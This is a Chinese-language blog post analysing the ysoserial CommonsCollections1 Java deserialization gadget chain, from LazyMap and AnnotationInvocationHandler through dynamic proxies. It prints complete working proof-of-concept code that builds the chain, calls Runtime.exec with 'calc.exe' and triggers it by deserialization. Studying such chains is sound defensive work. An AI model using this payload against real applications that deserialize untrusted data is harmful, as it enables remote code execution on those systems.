JAVA安全審計 ysoserial CommonsColletions1分析
前言:
在ysoserial工具中,并沒有使用TransformedMap的來觸發ChainedTransformer鍊,而是用了LazyMap的get方法
CommonsCollections1
調用鍊:
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
調用鍊入口
這條鍊的入口還是AnnotationInvocationHandler的readObject。
![](https://img.laitimes.com/img/_0nNw4CM6IyYiwiM6ICdiwiIn5GcucTOwADNxkTM00iM1kDMyYjMzITMyUDMxIDMy0iM2EzN4IjMvwVNwEjMwIzLcJjNxcDOyIzLcd2bsJ2Lc12bj5ycn9Gbi52YuAjMwIzZtl2Lc9CX6MHc0RHaiojIsJye.png)
LazyMap
我們需要尋找在LazyMap中能執行ChainedTransformer#transform方法。
LazyMap執行transform方法的地方在其get方法中。
當執行
get()
方法時,如果鍵值不存在,将使用工廠factory.transform建立一個值
這裡factory變量是從decorate方法中傳入
是以構造payload
//建立一個HashMap
HashMap hashMap = new HashMap();
//傳入chain
Map lazymap = LazyMap.decorate(hashMap, chain);
此時我們要找的就是哪裡能調用到LazyMap#get方法了
在AnnotationInvocationHandler的invoke方法中,this.memberValues.get調用到了get
this.memberValues是通過AnnotationInvocationHandler構造方法傳入
是以通過AnnotationInvocationHandler的invoke方法可以調用到LazyMap#get方法,可是想想怎麼調用到invoke呢。
我們來仔細看看AnnotationInvocationHandler類
這個類其實就是一個InvocationHandler,想想JDK動态代理
Person proxyStudent = (Person) Proxy.newProxyInstance(Student.class.getClassLoader(), Student.class.getInterfaces(), proxyHandler);
第一個參數是:被代理對象的ClassLoader。第二個是被代理對象的接口。第三個是建立的InvocationHandler對象
LazyMap傳入AnnotationInvocationHandler,再生成AnnotationInvocationHandler的proxy對象。此時proxy對象調用任何方法,都會通過其對應的InvocationHandler中的invoke方法,也就是AnnotationInvocationHandler中的invoke方法。
上面幾句話可能有點繞,可以先複習下之前所說過的動态代理的知識再回來看:https://www.cnblogs.com/yyhuni/p/14934747.html
根據上面構造payload:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//向上轉型成InvocationHandler才可以在下一步傳入Proxy.newProxyInstance
InvocationHandler invocationAnno = (InvocationHandler) constructor.newInstance(Override.class, lazymap);
//建立proxy
Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationAnno);
兩個注意點:
1.AnnotationInvocationHandler構造方法是包權限,不能直接new,要用反射來建立
2.建立的AnnotationInvocationHandler對象要向上轉型成InvocationHandler,才可以在下一步傳入Proxy.newProxyInstance
3.生成的proxy對象要轉型成Map
關于第三點,其實是為了在下一步構造的時候進行參數傳遞的比對,往下看就知道原因了
有了proxy對象了,最後一步就是怎麼調用到proxy對象的方法。
在調用鍊的入口處AnnotationInvocationHandler#readObject
這裡調用了this.memberValues的方法,而this.memberValues是通過構造函數傳入進來的,是以我們可以把proxy傳入AnnotationInvocationHandler,這時候觸發了readObject就會觸發到proxy的方法了。很巧妙的構造
Object Annotation = constructor.newInstance(Override.class, proxyAnno);
最終payload:
//構造反射鍊
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
//建立一個HashMap
HashMap hashMap = new HashMap();
//傳入chain
Map lazymap = LazyMap.decorate(hashMap, chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//構造InvocationHandler傳入lazymap
InvocationHandler invocationAnno = (InvocationHandler) constructor.newInstance(Override.class, lazymap);
//建立proxy
Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationAnno);
//建立AnnotationInvocationHandler對象,傳入proxyAnno
Object Annotation = constructor.newInstance(Override.class, proxyAnno);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(Annotation);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
簡單畫了下利用鍊的流程圖
相關漏洞:
WebLogic反序列化漏洞:CVE-2015-4852
歡迎關注我的公衆号,同步更新喔